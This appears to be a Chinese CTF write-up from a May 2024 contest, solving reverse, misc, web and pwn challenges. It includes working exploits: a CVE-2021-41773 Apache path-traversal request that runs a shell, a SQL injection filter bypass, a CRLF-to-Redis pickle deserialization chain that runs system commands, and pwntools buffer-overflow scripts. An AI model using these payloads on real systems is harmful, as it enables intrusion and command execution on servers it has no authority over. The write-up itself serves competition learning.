比赛时间:2024-05-06
# Re-easyre
基本的 base64 换表,用 CyberChef 解密
# Re-babyre
进入主函数,发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from z3 import *s = Solver() v5=BitVec('v5' ,32 ) v6=BitVec('v6' ,32 ) v7=BitVec('v7' ,32 ) v8=BitVec('v8' ,32 ) s.add(v5 + 1380855784 == 907301700 ) s.add((v6 | 0x8E03BEC3 ) - 3 * (v6 & 0x71FC413C ) + v6 == -1876131848 ) s.add(v7<=0x10000000 ) s.add(4 * ((~v7 & 0xA8453437 ) + 2 * ~(~v7 | 0xA8453437 )) + -3 * (~v7 | 0xA8453437 ) + 3 * ~(v7 | 0xA8453437 ) - (-10 * (v7 & 0xA8453437 ) + (v7 ^ 0xA8453437 )) == 551387557 ) s.add(v8<=0x10000000 ) s.add(11 * ~(v8 ^ 0xE33B67BD ) + 4 * ~(~v8 | 0xE33B67BD ) - (6 * (v8& 0xE33B67BD ) + 12 * ~(v8 | 0xE33B67BD )) + 3 * (v8 & 0xD2C7FC0C ) + -5 * v8 - 2 * ~(v8 | 0xD2C7FC0C ) + ~(v8 | 0x2D3803F3 ) + 4 * (v8 & 0x2D3803F3 ) - -2 * (v8 | 0x2D3803F3 ) == -837785892 ) print (s.check())answer=s.model() print (answer)data=[3821413212 ,98124621 ,78769651 ,67321987 ] print ('flag{' +'%08x-' %data[0 ]+'%08x-' %data[1 ]+'%08x-' %data[2 ]+'%08x' %data[3 ]+'}' )
# Misc - 签到
一张 GIF 图,拖到 pr 里面一帧一帧看,第一帧是:Flag is the ROT13 of …
之后的每一帧合并起来就是:
1 synt{jrypbzr-gb-pbzcrgvgvba}
然后通过 ROT13 解密,得到 flag:
1 flag{welcome-to-competition}
# Misc-easyshell(复现)
冰蝎这个 webShell 的流量分析,推测是冰蝎 3.0,使用默认密码 rebeyond 的 md5 加密然后取前 16 位作为 key 进行 AES 解密,或者直接通过 ( https://github.com/melody27/behinder_decrypt ) 进行解密:
1 python3 py_decrypt.py -f easyshell.pcap | tee result
获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息:
1 2 cat result | grep {\"msg\":\" cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";
之后能够获取到一个压缩包,之后通过创建一个 CRC 值与获取的压缩包 CRC 值相同的 zip 包,然后进行明文攻击,最后获得 flag:
1 flag{70854278-ea0c-462e-bc18-468c7a04a505}
# Misc-Gateway(复现)
在附件 baseinfoSet.json 中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本,直接解密得到 flag:
1 flag{ad1985868133e8cf1828cb84adbe5a5b}
1 2 3 4 5 6 7 8 code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1] # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&" list=map(int,code.split('&')) result=[] for i in list: if i > 57: i-=4 result.append(chr(i)) print (''.join(result))
# Misc-Apache(复现)
在博客里直接搜索 httpd:2.4.49-buster 漏洞 可知,有个 CVE-2021-41773 的路径穿越漏洞,相关连接如下 Apache HTTP Server 路径穿越漏洞复现 (CVE-2021-41773)-CSDN 博客
所以根据 python 的源码,构造如下的包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /nc HTTP/2 Host: prob01-8k743yxw.contest.pku.edu.cn Content-Length: 470 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="port" 80 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="data" POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: aaaa User-Agent: curl/7.68.0 Accept: */* Content-Length: 45 Content-Type: application/x-www-form-urlencoded echo Content-Type:text/plain; echo; cat /flag; ------WebKitFormBoundary7MA4YWxkTrZu0gW--
通过 burp 发包得到 flag:
# Web-phpsql
题目开始是个登陆框,根据题目,应该是个 sql 注入,先注册账号,然后登陆注册的账号看看情况,出现一个弹窗,表示只有 admin 才能拿到一些内容,那么猜测应该是万能密码登陆 admin 账号。
当 payload 为 1’ or 1=1 # 的时候,回显是 hacker,多次尝试之后,发现只过滤了空格,内联注释绕过,构造 payload 为:1’//Or/ /1//like/ /1/**/# 成功绕过,在经过两次离谱的弹窗之后,成功拿到 flag:
1 flag{KTFoYJlPMrqDW6fBGwGG}
# Web-pyssrf(复现)
访问 source 路由,拿到 python 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask,requestfrom redis import Redisimport hashlibimport pickleimport base64import urllibapp = Flask(__name__) redis = Redis(host='127.0.0.1' , port=6379 ) def get_result (url ): url_key=hashlib.md5(url.encode()).hexdigest() res=redis.get(url_key) if res: return pickle.loads(base64.b64decode(res)) else : try : print (url) info = urllib.request.urlopen(url) res = info.read() pickres=pickle.dumps(res) b64res=base64.b64encode(pickres) redis.set (url_key,b64res,ex=300 ) return res except urllib.error.URLError as e: print (e) @app.route('/' ) def hello (): url = request.args.get("url" ) return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1> <h2>Here is your result</h2> <h3>source code in /source</h3> %s ''' % get_result('http://' +url).decode(encoding='utf8' ,errors='ignore' )@app.route('/source' ) def source (): return
看上去是一个 pickle 反序列化加上 ssrf 的洞,具体啥原理还不是很懂,先写下参考地址:漏洞是叫 CRLF 编号为 CVE 2019-9947,参考资料可以是
Python urllib CRLF 注入漏洞小结_urllib crlf 漏洞 - CSDN 博客
首先是构造 key 值:
md5(‘http://1 ’)=22d474190b1889d3373fa4f9334e979c
** 用脚本构造 pickle 的反序列数据 ** :
1 2 3 4 5 import base64 a=b'''cos system (S'command here' tR.''' print (base64.b64encode(a))
因为采用的是 flask 框架,最简单获得回显的方式就是写文件到静态目录
1 2 3 4 5 6 import base64a=b'''cos system (S'mkdir static' tR.''' print (base64.b64encode(a))
再将 flag 的内容重定向到 static/1.txt 中
1 2 3 4 5 6 import base64a=b'''cos system (S'cat /flag>static/1.txt' tR.''' print (base64.b64encode(a))
所以,payload 依次为:
写入 redis 内缓存,创建静态目录 static
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins
缓存之后触发反序列化:
/?url=1
读取 flag,并重定向到 /static/1.txt 内:
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins
缓存之后触发反序列化:
/?url=1
之后访问 /static/1.txt 拿到 flag:
1 flag{qtRqiLrtTp6hoN2RPMti}
# Pwn-babypwn
(这个题不知为啥,有种莫名奇妙的感觉,本地无论几次都不同,远程就能通)
查看开启的保护:
1 2 3 4 5 6 7 8 9 root@g01den-virtual-machine:/mnt/shared [*] '/mnt/shared/pwn' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000 ) Stack: Executable RWX: Has RWX segments
反编译之后,找到漏洞函数 login ():
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 login () { int v0; char buf[32 ]; char s1[40 ]; printf ("Enter your username: " ); read (0 , buf, 0 x40uLL); printf ("Enter the password: " ); read (0 , s1, 0 x40uLL); v0 = strcmp (buf, "root" ); return v0 | (unsigned int )strcmp (s1, "!@#$%^&*()_+" ); }
并且,存在后门函数 sub_401176,地址为 0x401176,所以,根据 gdb 调试,得知缓冲区加上 ebp 的大小为 120 字节,所以 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *io = remote ('prob07.contest.pku.edu.cn' ,10007 ) context.log_level = 'debug' backdoor = 0x40117a token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=" io.sendline (token) io.recvuntil (b'Enter your username: ' ) payload = b'a' *120 + p64 (backdoor) io.sendline (payload) io.recv () io.interactive ()
最后 flag 为:
1 flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}
# Pwn-Login
没有附件 nc 连上多测试几次就会知道 password 多输几个字符就会输出二进制文件
多试试 0x28 个字符时能接收到正确的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *import osio = remote("prob04.contest.pku.edu.cn" , 10004 ) context.log_level = "debug" io.sendlineafter("token: " , b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=' ) io.sendlineafter('Username' , "admin\x00" ) io.sendlineafter('Password' , b'a' *(0x28 )) io.recvuntil('dumped\n' ) key = io.recvall() fp = open ('att' , 'wb' ) fp.write(key) os.system('chmod 777 att' ) io.interactive()
att.pdf (zip)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 login () { char s1[48 ]; char s[95 ]; unsigned __int8 v3; v3 = 0 ; memset (s, 0 , 0x50 uLL); memset (s1, 0 , 0x28 uLL); printf ("Username: " ); fgets(s, 80 , stdin ); if ( s[0x14 ] ) { puts ("Username too long" ); return 0LL ; } else { printf ("Password: " ); fgets(s1, 0x320 , stdin ); if ( !strcmp (s, "admin\n" ) && !strcmp (s1, "1q2w3e4r\n" ) ) { puts ("Login successful, welcome admin" ); v3 = 1 ; } else { puts ("Login failed" ); v3 = 0 ; } if ( s1[0x28 ] ) { puts ("Stack smashing detected" ); overflow_detected = 1 ; return 0LL ; } else { return v3; } } }
溢出,返回到后门函数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *import osio = remote("prob04.contest.pku.edu.cn" , 10004 ) context.log_level = "debug" io.sendlineafter("token: " , b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=' ) payload = b'1q2w3e4r' payload = payload.ljust(0x98 , b'\x00' ) + p64(0x40127e ) io.sendlineafter('Username' , "admin\x00" ) io.sendlineafter("Password" , payload) io.interactive()